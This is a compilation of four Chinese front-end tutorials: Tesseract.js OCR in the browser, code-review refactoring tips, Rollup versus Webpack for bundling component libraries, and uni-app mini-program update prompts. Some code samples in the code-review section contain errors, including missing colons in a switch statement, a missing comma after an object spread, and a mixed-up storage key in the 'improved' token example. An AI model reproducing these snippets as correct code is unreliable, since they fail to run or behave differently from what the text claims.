Tesseract.js 是一个基于 Google Tesseract OCR 引擎的 JavaScript 库,利用 WebAssembly 技术将的 OCR 引擎带到了浏览器中。它完全运行在客户端,无需依赖服务器,适合处理中小型图片的文字识别。
主要特点
- 多语言支持:支持多种语言文字识别,包括中文、英文、日文等。
- 跨平台:支持浏览器和 Node.js 环境,灵活应用于不同场景。
- 开箱即用:无需额外依赖后端服务,直接在前端实现 OCR 功能。
- 自定义训练数据:支持加载自定义训练数据,提升特定场景下的识别准确率。
安装
通过 npm 安装
npm install tesseract.js
通过 CDN 引入
<script src="https://unpkg.com/tesseract.js@latest/dist/tesseract.min.js"></script>
基本使用
以下示例展示了如何使用 Tesseract.js 从图片中提取文字:
import Tesseract from 'tesseract.js';
Tesseract.recognize(
'image.png', // 图片路径
'chi_sim', // 识别语言(简体中文)
{
logger: info => console.log(info), // 实时输出进度日志
}
).then(({ data: { text } }) => {
console.log('识别结果:', text);
});
示例图片
运行结果
可以看到,虽然识别结果不完全准确,但整体准确率较高,能够满足大部分需求。
更多用法
1. 多语言识别
Tesseract.js 支持多语言识别,可以通过字符串或数组指定语言代码:
// 通过字符串的方式指定多语言
Tesseract.recognize('image.png', 'eng+chi_sim').then(({ data: { text } }) => {
console.log('识别结果:', text);
});
// 通过数组的方式指定多语言
Tesseract.recognize('image.png', ['eng','chi_sim']).then(({ data: { text } }) => {
console.log('识别结果:', text);
});
eng+chi_sim
表示同时识别英文和简体中文。Tesseract.js 内部会将字符串通过 split
方法分割成数组:
const currentLangs = typeof langs === 'string' ? langs.split('+') : langs;
2. 处理进度日志
可以通过 logger
回调函数查看任务进度:
Tesseract.recognize('image.png', 'eng', {
logger: info => console.log(info.status, info.progress),
});
输出示例:
3. 自定义训练数据
如果需要识别特殊字符,可以加载自定义训练数据:
const worker = await createWorker('语言文件名', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false, // 是否对来自远程的训练数据进行 gzip 压缩
langPath: '/path/to/lang-data' // 自定义训练数据路径
});
[!warning] 注意:
- 第一个参数为加载自定义训练数据的文件名,不带后缀。
- 加载自定义训练数据的文件后缀名必须为
.traineddata
。
- 如果文件名不是
.traineddata.gzip
,则需要设置gzip
为false
。
举例:
const worker = await createWorker('my-data', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false,
langPath: 'http://localhost:5173/lang',
});
加载效果:
4. 通过前端上传图片
通常,图片是通过前端让用户上传后进行解析的。以下是一个简单的 Vue 3 示例:
<script setup>
import { createWorker } from 'tesseract.js';
async function handleUpload(evt) {
const files = evt.target.files;
const worker = await createWorker("chi_sim");
for (let i = 0; i < files.length; i++) {
const ret = await worker.recognize(files[i]);
console.log(ret.data.text);
}
}
</script>
<template>
<input type="file" @change="handleUpload" />
</template>
完整示例
下面提供一个简单的 OCR 示例,展示了如何在前端实现图片上传、文字识别以及图像处理。
代码
<!--
* @Author: zi.yang
* @Date: 2024-12-10 09:15:22
* @LastEditors: zi.yang
* @LastEditTime: 2025-01-14 08:06:25
* @Description: 使用 tesseract.js 实现 OCR
* @FilePath: /vue-app/src/components/HelloWorld.vue
-->
<script setup lang="ts">
import { ref } from 'vue';
import { createWorker, OEM } from 'tesseract.js';
const uploadFileName = ref<string>("");
const imgText = ref<string>("");
const imgInput = ref<string>("");
const imgOriginal = ref<string>("");
const imgGrey = ref<string>("");
const imgBinary = ref<string>("");
async function handleUpload(evt: any) {
const file = evt.target.files?.[0];
if (!file) return;
uploadFileName.value = file.name;
imgInput.value = URL.createObjectURL(file);
const worker = await createWorker("chi_sim", OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
});
const ret = await worker.recognize(file, { rotateAuto: true }, { imageColor: true, imageGrey: true, imageBinary: true });
imgText.value = ret.data.text || '';
imgOriginal.value = ret.data.imageColor || '';
imgGrey.value = ret.data.imageGrey || '';
imgBinary.value = ret.data.imageBinary || '';
}
// 占位符 svg
const svgIcon = encodeURIComponent('<svg t="1736901745913" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4323" width="140" height="140"><path d="M804.9 243.4c8.1 0 17.1 10.5 17.1 24.5v390.9c0 14-9.1 24.5-17.3 24.5H219.3c-8 0-17.3-10.7-17.3-24.5V267.9c0-14 9.1-24.5 17.3-24.5h585.6m0-80H219.3c-53.5 0-97.3 47-97.3 104.5v390.9c0 57.3 43.8 104.5 97.3 104.5h585.4c53.5 0 97.3-47 97.3-104.5V267.9c0-57.5-43.7-104.5-97.1-104.5z" fill="#5E9EFC" p-id="4324"></path><path d="M678.9 294.5c28 0 50.6 22.7 50.6 50.6 0 28-22.7 50.6-50.6 50.6s-50.6-22.7-50.6-50.6c0-28 22.7-50.6 50.6-50.6z m-376 317.6l101.4-215.7c6-12.8 24.2-12.8 30.2 0l101.4 215.7c5.2 11-2.8 23.8-15.1 23.8H318c-12.2 0-20.3-12.7-15.1-23.8z" fill="#5E9EFC" p-id="4325"></path><path d="M492.4 617L573 445.7c4.8-10.1 19.2-10.1 24 0L677.6 617c4.1 8.8-2.3 18.9-12 18.9H504.4c-9.7 0-16.1-10.1-12-18.9z" fill="#5E9EFC" opacity=".5" p-id="4326"></path></svg>');
const placeholder = 'data:image/svg+xml,' + svgIcon;
</script>
<template>
<div class="custom-file-upload">
<label for="file-upload" class="custom-label">选择文件</label>
<span id="file-name" class="file-name">{{ uploadFileName || '未选择文件' }}</span>
<input id="file-upload" type="file" @change="handleUpload" />
</div>
<div class="row">
<div class="column">
<p>输入图像</p>
<img alt="原图" :src="imgInput || placeholder">
</div>
<div class="column">
<p>旋转,原色</p>
<img alt="原色" :src="imgOriginal || placeholder">
</div>
<div class="column">
<p>旋转,灰度化</p>
<img alt="灰度化" :src="imgGrey || placeholder">
</div>
<div class="column">
<p>旋转,二值化</p>
<img alt="二进制" :src="imgBinary || placeholder">
</div>
</div>
<div class="result">
<h2>识别结果</h2>
<p>{{ imgText || '暂无结果' }}</p>
</div>
</template>
<style scoped>
/* 隐藏原生文件上传按钮 */
input[type="file"] {
display: none;
}
/* 自定义样式 */
.custom-file-upload {
display: inline-block;
cursor: pointer;
margin-bottom: 30px;
}
.custom-label {
padding: 10px 20px;
color: #fff;
background-color: #007bff;
border-radius: 5px;
display: inline-block;
font-size: 14px;
cursor: pointer;
}
.custom-label:hover {
background-color: #0056b3;
}
.file-name {
margin-left: 10px;
font-size: 14px;
color: #555;
}
.row {
display: flex;
width: 100%;
justify-content: space-around;
}
.column {
width: 24%;
padding: 5px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
text-align: center;
min-height: 100px;
}
.column > p {
margin: 0 0 10px 0;
padding: 5px;
border-bottom: 1px solid #ccc;
font-weight: 600;
}
.column > img {
width: 100%;
}
.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
}
.result > h2 {
margin: 0;
}
.result > p {
white-space: pre-wrap;
word-wrap: break-word;
word-break: break-all;
font-size: 16px;
line-height: 1.5;
color: #333;
margin: 10px 0;
}
</style>
实现效果
资源加载失败
Tesseract.js 在运行时需要动态加载三个关键文件:Web Worker
、wasm
和 训练数据
。由于默认使用的是 jsDelivr CDN,国内用户可能会遇到网络加载问题。为了解决这个问题,可以通过指定 unpkg CDN 来加速资源加载:
const worker = await createWorker('chi_sim', OEM.DEFAULT, {
langPath: 'https://unpkg.com/@tesseract.js-data/chi_sim/4.0.0_best_int',
workerPath: 'https://unpkg.com/tesseract.js/dist/worker.min.js',
corePath: 'https://unpkg.com/tesseract.js-core/tesseract-core-simd-lstm.wasm.js',
});
如果需要离线使用,可以将这些资源下载到本地,并将路径指向本地文件即可。
结语
Tesseract.js 是目前前端领域较为成熟的 OCR 库,适合在无需后端支持的场景下快速实现文字识别功能。通过合理的图片预处理和优化,可以满足大部分中小型应用的需求。
相关链接
- Tesseract.js 文档: tesseract-ocr.github.io/
- Tesseract.js Demo: tesseract.projectnaptha.com/
来源:juejin.cn/post/7459791088791797786
现在前端组长都是这样做 Code Review
前言
Code Review
是什么?
Code Review
通常也简称 CR
,中文意思就是 代码审查
一般来说 CR
只关心代码规范和代码逻辑,不关心业务
但是,如果CR
的人是组长,建议有时间还是看下与自己组内相关业务,能避免一些生产事故的发生
作为前端组长做 Code Review
有必要吗?
主要还是看公司业务情况吧,如果前端组长需求不多的情况,是可以做下CR
,能避免一些生产事故
- 锻炼自己的
CR
能力 - 看看别人的代码哪方面写的更好,学习总结
- 和同事交流,加深联系
- 你做了
CR
,晋升和面试,不就有东西吹了不是
那要怎么去做Code Review
呢?
可以从几个方面入手
- 项目架构规范
- 代码编写规范
- 代码逻辑、代码优化
- 业务需求
具体要怎么做呢?
传统的做法是PR
时查看,对于不合理的地方,打回并在PR
中备注原因或优化方案
每隔一段时间,和组员开一个简短的CR
分享会,把一些平时CR
过程中遇到的问题做下总结
当然,不要直接指出是谁写出的代码有问题,毕竟这不是目的,分享会的目的是交流学习
人工CR
需要很大的时间精力,与心智负担
随着 AI 的发展,我们可以借助一些 AI 来帮我们完成CR
接下来,我们来看下,vscode
中是怎么借助 AI 工具来 CR
的
安装插件 CodeGeex
新建一个项目
mkdir code-review
cd code-review
创建 test.js
并用 vscode 打开
cd .>test.js
code ./
编写下 test.js
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error("不要重复点击");
}
} else {
throw new Error("不是会员");
}
} else {
throw new Error("未登录");
}
}
这是连续嵌套的判断逻辑,要怎么优化呢?
侧边栏选择这个 AI 插件,选择我们需要CR
的代码
输入 codeRiview
,回车
我们来看下 AI 给出的建议
AI 给出的建议还是很不错的,我们可以通过更多的提示词,优化它给出的修改建议,这里就不过多赘述了
通常我们优化这种类型的代码,基本优化思路也是,前置校验逻辑,正常逻辑后置
除了CodeGeex
外,还有一些比较专业的 codeRiview
的 AI 工具
比如:CodeRabbit
那既然都有 AI 工具了,我们还需要自己去CR
吗?
还是有必要的,借助 AI 工具我们可以减少一些阅读大量代码环节,提高效率,减少 CR
的时间
但是仍然需要我们根据 AI 工具的建议进行改进,并且总结,有利于拓宽我们见识,从而写出更优质的代码
具体 CR 实践
判断逻辑优化
1. 深层对象判空
// 深层对象
if (
store.getters &&
store.getters.userInfo &&
store.getters.userInfo.menus
) {}
// 可以使用 可选链进行优化
if (store?.getters?.userInfo?.menus) {}
2. 空函数判断
优化之前
props.onChange && props.onChange(e)
支持 ES11 可选链写法,可这样优化,js 中需要这样,ts 因为有属性校验,可以不需要判断,当然也特殊情况
props?.onChange?.(e)
老项目,不支持 ES11 可以这样写
const NOOP = () => 8
const { onChange = NOOP } = props
onChange(e)
3. 复杂判断逻辑抽离成单独函数
// 复杂判断逻辑
function checkGameStatus() {
if (remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0) {
quitGame()
}
}
// 复杂判断逻辑抽离成单独函数,更方便阅读
function isGameOver() {
return (
remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0
);
}
function checkGameStatus() {
if (isGameOver()) {
quitGame();
}
}
4. 判断处理逻辑正确的梳理方式
// 判断逻辑不要嵌套太深
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error('不要重复点击');
}
} else {
throw new Error('不是会员');
}
} else {
throw new Error('未登录');
}
}
这个是不是很熟悉呀~
没错,这就是使用 AI 工具 CR
的代码片段
通常这种,为了处理特殊状况,所实现的判断逻辑,都可以采用 “异常逻辑前置,正常逻辑后置” 的方式进行梳理优化
// 将判断逻辑的异常逻辑提前,将正常逻辑后置
function checkStatus() {
if (!isLogin()) {
throw new Error('未登录');
}
if (!isVip()) {
throw new Error('不是会员');
}
if (!isDoubleCheck()) {
throw new Error('不要重复点击');
}
done();
}
函数传参优化
// 形参有非常多个
const getMyInfo = (
name,
age,
gender,
address,
phone,
email,
) => {
// ...
}
有时,形参有非常多个,这会造成什么问题呢?
- 传实参是的时候,不仅需要知道传入参数的个数,还得知道传入顺序
- 有些参数非必传,还要注意添加默认值,且编写的时候只能从形参的后面添加,很不方便
- 所以啊,那么多的形参,会有很大的心智负担
怎么优化呢?
// 行参封装成对象,对象函数内部解构
const getMyInfo = (options) => {
const { name, age, gender, address, phone, email } = options;
// ...
}
getMyInfo(
{
name: '张三',
age: 18,
gender: '男',
address: '北京',
phone: '123456789',
email: '123456789@qq.com'
}
)
你看这样是不是就清爽了很多了
命名注释优化
1. 避免魔法数字
// 魔法数字
if (state === 1 || state === 2) {
// ...
} else if (state === 3) {
// ...
}
咋一看,这 1、2、3 又是什么意思啊?这是判断啥的?
语义就很不明确,当然,你也可以在旁边写注释
更优雅的做法是,将魔法数字改用常量
这样,其他人一看到常量名大概就知道,判断的是啥了
// 魔法数字改用常量
const UNPUBLISHED = 1;
const PUBLISHED = 2;
const DELETED = 3;
if (state === UNPUBLISHED || state === PUBLISHED) {
// ...
} else if (state === DELETED) {
// ...
}
2. 注释别写只表面意思
注释的作用:提供代码没有提供的额外信息
// 无效注释
let id = 1 // id 赋值为 1
// 有效注释,写业务逻辑 what & why
let id = 1 // 赋值文章 id 为 1
3. 合理利用命名空间缩短属性前缀
// 过长命名前缀
class User {
userName;
userAge;
userPwd;
userLogin() { };
userRegister() { };
}
如果我们把前面的类里面,变量名、函数名前面的 user
去掉
似乎,也一样能理解变量和函数名称所代表的意思
代码却,清爽了不少
// 利用命名空间缩短属性前缀
class User {
name;
age;
pwd;
login() {};
register() {};
}
分支逻辑优化
什么是分支逻辑呢?
使用 if else、switch case ...
,这些都是分支逻辑
// switch case
const statusMap = (status: string) => {
switch(status) {
case 'success':
return 'SuccessFully'
case 'fail':
return 'failed'
case 'danger'
return 'dangerous'
case 'info'
return 'information'
case 'text'
return 'texts'
default:
return status
}
}
// if else
const statusMap = (status: string) => {
if(status === 'success') return 'SuccessFully'
else if (status === 'fail') return 'failed'
else if (status === 'danger') return 'dangerous'
else if (status === 'info') return 'information'
else if (status === 'text') return 'texts'
else return status
}
这些处理逻辑,我们可以采用 映射代替分支逻辑
// 使用映射进行优化
const STATUS_MAP = {
'success': 'Successfull',
'fail': 'failed',
'warn': 'warning',
'danger': 'dangerous',
'info': 'information',
'text': 'texts'
}
return STATUS_MAP[status] ?? status
【扩展】
??
是 TypeScript
中的 “空值合并操作符”
当前面的值为 null
或者 undefined
时,取后面的值
对象赋值优化
// 多个对像属性赋值
const setStyle = () => {
content.body.head_style.style.color = 'red'
content.body.head_style.style.background = 'yellow'
content.body.head_style.style.width = '100px'
content.body.head_style.style.height = '300px'
// ...
}
这样一个个赋值太麻烦了,全部放一起赋值不就行了
可能,有些同学就这样写
const setStyle = () => {
content.body.head_style.style = {
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}
咋一看,好像没问题了呀?那 style
要是有其他属性呢,其他属性不就直接没了吗~
const setStyle = () => {
content.body.head_style.style = {
...content.body.head_style.style
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}
采用展开运算符,将原属性插入,然后从后面覆盖新属性,这样原属性就不会丢了
隐式耦合优化
// 隐式耦合
function responseInterceptor(response) {
const token = response.headers.get("authorization");
if (token) {
localStorage.setItem('token', token);
}
}
function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}
这个上面两个函数有耦合的地方,但是不太明显
比如这样的情况,有一天,我不想在 responseInterceptor
函数中保存 token
到 localStorage
了
function responseInterceptor(response) {
const token = response.headers.get("authorization");
}
function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}
会发生什么?
localStorage.getItem('token')
一直拿不到数据,requestInterceptor
这个函数就报废了,没用了
函数 responseInterceptor
改动,影响到函数 requestInterceptor
了,隐式耦合了
怎么优化呢?
// 将隐式耦合的常数抽离成常量
const TOKEN_KEY = "authorization";
const TOKEN = 'token';
function responseInterceptor(response) {
const token = response.headers.get(TOKEN_KEY);
if (token) {
localStorage.setItem(TOKEN_KEY, token);
}
}
function requestInterceptor(response) {
const token = localStorage.getItem(TOKEN_KEY);
if (token) {
response.headers.set(TOKEN_KEY, token);
}
}
这样做有什么好处呢?比刚才好在哪里?
还是刚才的例子,我去掉了保存 localStorage.setItem(TOKEN_KEY, token)
我可以根据TOKEN_KEY
这个常量来查找还有哪些地方用到了这个 TOKEN_KEY
,从而进行修改,就不会出现冗余,或错误
不对啊,那我不用常量,用token
也可以查找啊,但你想想 token
这个词是不是得全局查找,其他地方也会出现token
查找起来比较费时间,有时可能还会改错了
用常量的话,全局查找出现重复的概率很小
而且如果你是用 ts 的话,window 下鼠标停在常量上,按 ALT
键就能看到使用到这个常量的地方了,非常方便
小结
codeRiview(代码审查)不仅对个人技能的成长有帮助,也对我们在升职加薪、面试有所裨益
CR
除了传统的方式外,也可以借助 AI 工具,来简化其中流程,提高效率
上述的优化案例,虽然优化方式不同,但是核心思想都是一样,都是为了代码 更简洁、更容易理解、更容易维护
当然了,优化方式还有很多,如果后期遇到了也会继续补充进来
来源:juejin.cn/post/7394792228215128098
为什么组件库打包用 Rollup 而不是 Webpack?
Rolup 是一个打包工具,类似 Webpack。
组件库打包基本都是用 Rollup。
那 Webpack 和 Rollup 有什么区别呢?为什么组件库打包都用 Rollup 呢?
我们来试一下:
mkdir rollup-test
cd rollup-test
npm init -y
我们创建两个模块:
src/index.js
import { add } from './utils';
function main() {
console.log(add(1, 2))
}
export default main;
src/utils.js
function add(a, b) {
return a + b;
}
export {
add
}
很简单的两个模块,我们分别用 rollup 和 webpack 来打包下:
安装 rollup:
npm install --save-dev rollup
创建 rollup.config.js
/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
]
};
配置入口模块,打包产物的位置、模块规范。
在 webpack 里叫做 entry、output,而在 rollup 里叫做 input、output。
我们指定产物的模块规范有 es module、commonjs、umd 三种。
umd 是挂在全局变量上,还要指定一个全局变量的 name。
上面的 @type 是 jsdoc 的语法,也就是 ts 支持的在 js 里声明类型的方式。
效果就是写配置时会有类型提示:
不引入的话,啥提示都没有:
这里我们用了 export,把 rollup.config.js 改名为 rollup.config.mjs,告诉 node 这个模块是 es module 的。
配置好后,我们打包下:
npx rollup -c rollup.config.mjs
看下产物:
三种模块规范的产物都没问题。
那用 webpack 打包,产物是什么样呢?
我们试一下:
npm install --save-dev webpack-cli webpack
创建 webpack.config.mjs
import path from 'node:path';
/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'commonjs2'
}
};
指定 libraryTarget 为 commonjs2
打包下:
npx webpack-cli -c webpack.config.mjs
可以看到,webpack 的打包产物有 100 行代码:
再来试试 umd 的:
umd 要指定全局变量的名字。
打包下:
也是 100 多行。
最后再试下 es module 的:
libraryTarget 为 module 的时候,还要指定 experiments.outputModule 为 true。
import path from 'node:path';
/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
experiments: {
outputModule: true
},
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'module'
}
};
打包下:
产物也同样是 100 多行。
相比之下,rollup 的产物就非常干净,没任何 runtime 代码:
更重要的是 webpack 目前打包出 es module 产物还是实验性的,并不稳定。
webpack 打 cjs 和 umd 的 library 还行。
但 js 库一般不都要提供 es module 版本么,支持的不好怎么行?
所以我们一般用 rollup 来做 js 库的打包,用 webpack 做浏览器环境的打包。
前面说组件库打包一般都用 rollup,我们来看下各大组件库的打包需求。
安装 antd:
npm install --no-save antd
在 node_modules 下可以看到它分了 dist、es、lib 三个目录:
分别看下这三个目录的组件代码:
lib 下的组件是 commonjs 的:
es 下的组件是 es module 的:
dist 下的组件是 umd 的:
然后在 package.json 里分别声明了 commonjs、esm、umd 还有类型的入口:
这样,当你用 require 引入的就是 lib 下的组件,用 import 引入的就是 es 下的组件。
而直接 script 标签引入的就是 unpkg 下的组件。
再来看一下 semi design 的:
npm install --no-save @douyinfe/semi-ui
也是一样:
只不过多了个 css 目录。
所以说,组件库的打包需求就是组件分别提供 esm、commonjs、umd 三种模块规范的代码,并且还有单独打包出的 css。
那 rollup 如何打包 css 呢?
我们试一下:
创建 src/index.css
.aaa {
background: blue;
}
创建 src/utils.css
.bbb {
background: red;
}
然后分别在 index.js 和 utils.js 里引入下:
安装 rollup 处理 css 的插件:
npm install --save-dev rollup-plugin-postcss
引入下:
import postcss from 'rollup-plugin-postcss';
/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
],
plugins: [
postcss({
extract: true,
extract: 'index.css'
}),
]
};
然后跑一下:
npx rollup -c rollup.config.mjs
可以看到,产物多了 index.css
而 js 中没有引入 css 了:
被 tree shaking 掉了,rollup 默认开启 tree shaking。
这样我们就可以单独打包组件库的 js 和 css。
删掉 dist,我们试下不抽离是什么样的:
npx rollup -c rollup.config.mjs
可以看到,代码里多了 styleInject 的方法:
用于往 head 里注入 style
一般打包组件库产物,我们都会分离出来。
然后我们再用 webpack 打包试试:
安装用到的 loader:
npm install --save-dev css-loader style-loader
css-loader 是读取 css 内容为 js
style-loader 是往页面 head 下添加 style 标签,填入 css
这俩结合起来和 rollup 那个插件功能一样。
配置 loader:
module: {
rules: [{
test: /\.css$/i,
use: ["style-loader", "css-loader"],
}],
}
用 webpack 打包下:
npx webpack-cli -c webpack.config.mjs
可以看到 css 变成 js 模块引入了:
这是 css-loader 做的。
而插入到 style 标签的 injectStylesIntoStyleTag 方法则是 style-loader 做的:
然后再试下分离 css,这用到一个单独的插件:
npm install --save-dev mini-css-extract-plugin
配一下:
import path from 'node:path';
import MiniCssExtractPlugin from "mini-css-extract-plugin";
/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
},
module: {
rules: [{
test: /\.css$/i,
use: [MiniCssExtractPlugin.loader, "css-loader"],
}],
},
plugins: [
new MiniCssExtractPlugin({
filename: 'index.css'
})
]
};
指定抽离的 filename 为 index.css
抽离用的 loader 要紧放在 css-loader 之前。
样式抽离到了 css 中,这时候 style-loader 也就不需要了。
打包下:
npx webpack-cli -c webpack.config.mjs
样式抽离到了 css 中:
而 js 里的这个模块变为了空实现:
所以 webpack 的 style-loader + css-loader + mini-css-extract-plugin 就相当于 rollup 的 rollup-plugin-postcss 插件。
为什么 rollup 没有 loader 呢?
因为 rollup 的 plugin 有 transform 方法,也就相当于 loader 的功能了。
我们自己写一下抽离 css 的 rollup 插件:
创建 my-extract-css-rollup-plugin.mjs(注意这里用 es module 需要指定后缀为 .mjs):
const extractArr = [];
export default function myExtractCssRollupPlugin (opts) {
return {
name: 'my-extract-css-rollup-plugin',
transform(code, id) {
if(!id.endsWith('.css')) {
return null;
}
extractArr.push(code);
return {
code: 'export default undefined',
map: { mappings: '' }
}
},
generateBundle(options, bundle) {
this.emitFile({
fileName: opts.filename || 'guang.css',
type: 'asset',
source: extractArr.join('\n/*光光666*/\n')
})
}
};
}
在 transform 里对代码做转换,这就相当于 webpack 的 loader 了。
我们在 transform 里只处理 css 文件,保存 css 代码,返回一个空的 js 文件。
然后 generateBundle 里调用 emitFile 生成一个合并后的 css 文件。
用一下:
import myExtractCssRollupPlugin from './my-extract-css-rollup-plugin.mjs';
myExtractCssRollupPlugin({
filename: '666.css'
})
删掉之前的 dist 目录,重新打包:
npx rollup -c rollup.config.mjs
看下产物:
可以看到,抽离出了 css,内容是合并后的所有 css。
而 cjs 也没有 css 的引入:
也是被 tree shaking 掉了。
我们把 tree shaking 关掉试试:
再次打包:
可以看到,两个 css 模块转换后的 js 模块依然被引入了:
我们改下插件 transform 的内容:
再次打包:
可以看到引入的也是我们转后后的 css 模块的内容:
因为没用到,同样会被 tree shaking 掉。
所以说 rollup 的插件的 transform 就相当于 webpack loader 的功能。
前面说 webpack 用来做浏览器的打包,而 rollup 一般做 js 库的打包。
这也不全对,vite 就是用 rollup 来做的生产环境的打包。
因为它开发环境下不打包,而是跑了一个开发服务器,对代码做了下转换,不需要 webpack 那些 dev server 的功能。
而生产环境又需要打包,所以 rollup 就很合适。
开发环境下,浏览器里用 type 为 module 的 script 引入,会请求 vite 的开发服务器。
vite 开发服务器会调用 rollup 插件的 transform 方法来做转换。
而生产环境下,用 rollup 打包,也是用同样的 rollup 插件。
当然,vite 还会用 esbuild 来做下依赖的与构建,比如把 cjs 转换成 esm、把小模块打包成一个大的模块。
用 esbuild 是因为它更快。
所以说,vite 是基于 rollup 来实现的,包括开发服务器的 transform,以及生产环境的打包。
但是为了性能考虑,又用了 esbuild 做依赖预构建。
现在 vite 团队在开发 rust 版 rollup 也就是 rolldown 了,有了它之后,就可以完全替代掉 rollup + esbuild 了。
综上,除了 webpack、vite 外,rollup 也是非常常用的一个打包工具。
案例代码上传了github
总结
这节我们学习了 rollup,虽然它不如 webpack、vite 提到的多,但也是一个常用的打包工具。
它打包产物没有 runtime 代码,更简洁纯粹,能打包出 esm、cjs、umd 的产物,常用来做 js 库、组件库的打包。相比之下,webpack 目前对 esm 产物的支持还是实验性的,不稳定。
rollup 只有 plugin,没有 loader,因为它的 transform 方法就相当于 webpack 插件的 loader。
vite 就是基于 rollup 来实现的,开发环境用 rollup 插件的 transform 来做代码转换,生产环境用 rollup 打包。
不管你是想做组件库、js 库的打包,还是想深入学习 vite,都离不开 rollup。
更多内容可以看我的小册《Node.js CLI 通关秘籍》
来源:juejin.cn/post/7437903515169325082
uni-app开发的小程序版本更新提示
在uni-app开发过程中,应用的版本更新是一个常见的需求。当开发者发布了新版本的小程序后,希望用户在下一次打开旧版小程序时能够收到更新提示,引导用户更新到最新版本。本篇技术博客将介绍如何在uni-app中实现小程序版本更新提示的功能。
开发者将小程序文案更新后,发版后,页面、功能发现没有修改,必须在我的小程序删除后,重新进入才更新看到我们发版的功能,这样很影响用户体验
小程序更新机制
开发者在管理后台发布新版本的小程序之后,微信客户端会有若干个时机去检查本地缓存的小程序有没有新版本,并进行小程序的代码包更新。但如果用户本地有小程序的历史版本,此时打开的可能还是旧版本。
平台差异说明
App | H5 | 微信小程序 | 支付宝小程序 | 百度小程序 | 抖音小程序 | 飞书小程序 | QQ小程序 | 快手小程序 | 京东小程序 |
---|---|---|---|---|---|---|---|---|---|
x | x | √ | √ | √ | √ | √ | √ | √ | √ |
updateManager 对象的方法列表:
方法 | 参数 | 说明 |
---|---|---|
onCheckForUpdate | callback(callback) | 当向小程序后台请求完新版本信息,会进行回调 |
onUpdateReady | callback | 新的版本已经下载好,会进行回调 |
onUpdateFailed | callback | 当新版本下载失败,会进行回调 |
applyUpdate | callback | 当新版本下载完成,调用该方法会强制当前小程序应用上新版本并重启 |
onCheckForUpdate(callback) 回调结果说明:
属性 | 类型 | 说明 |
---|---|---|
hasUpdate | Boolean | 是否有新的版本 |
准备工作
在开始之前,确保你已经有了以下准备:
- uniapp项目: 一个已经部署并上线的UniApp小程序项目。
客户端检查更新代码示例
在uni-app小程序的App.vue或main.js文件中,我们可以在App.vue中的onShow生命周期钩子中检查更新:
<script>
export default {
onShow() {
// #ifdef MP
this.checkForUpdate()
// #endif
},
methods:{
// 检测是否更新
checkForUpdate(){
const _this = this
// 检查小程序是否有新版本发布
const updateManager = uni.getUpdateManager();
// 请求完新版本信息的回调
updateManager.onCheckForUpdate((res) => {
console.log('onCheckForUpdate-res',res);
//检测到新版本,需要更新,给出提示
if (res && res.hasUpdate) {
uni.showModal({
title: '更新提示',
content: '检测到新版本,是否下载新版本并重启小程序?',
success(res) {
if (res.confirm) {
//用户确定下载更新小程序,小程序下载及更新静默进行
_this.downLoadAndUpdate(updateManager)
}else{
// 若用户点击了取消按钮,二次弹窗,强制更新,如果用户选择取消后不需要进行任何操作,则以下内容可忽略
uni.showModal({
title: '温馨提示~',
content: '本次版本更新涉及到新的功能添加,旧版本无法正常访问的哦~',
confirmText: "确定更新",
cancelText:"取消更新",
success(res) {
if (res.confirm) {
//下载新版本,并重新应用
_this.downLoadAndUpdate(updateManager)
}
}
});
}
}
});
}
});
},
// 下载小程序新版本并重启应用
downLoadAndUpdate(updateManager){
const _this = this
uni.showLoading({ title: '小程序更新中' });
// //静默下载更新小程序新版本
updateManager.onUpdateReady((res) => {
console.log('onUpdateReady-res',res);
uni.hideLoading();
//新的版本已经下载好,调用 applyUpdate 应用新版本并重启
updateManager.applyUpdate()
});
// 更新失败
updateManager.onUpdateFailed((res) => {
console.log('onUpdateFailed-res',res);
// 新的版本下载失败
uni.hideLoading();
uni.showModal({
title: '已经有新版本了哟~',
content: '新版本已经上线啦~,请您删除当前小程序,重新搜索打开哟~',
showCancel: false
});
});
}
}
};
</script>
由于小程序开发版/体验版没有“版本”的概念,所以无法在开发版/体验版上测试版本更新情况,可以在开发工具上,添加编译模式,勾选最下方的“下次编译时模拟更新”,但是要注意,这种模式仅供一次编译,下次编译需重新勾选“下次编译时模拟更新”
结语
通过以上步骤,你可以在uni-app小程序中实现版本更新提示的功能。这不仅有助于提升用户体验,还能确保用户总是使用最新的功能和改进。记得在发布新版本时更新小程序版本号,以便及时通知用户。希望本篇博客能够帮助你在uni-app项目中顺利实现版本更新提示。
好了今天的内容分享到这,下次再见 👋
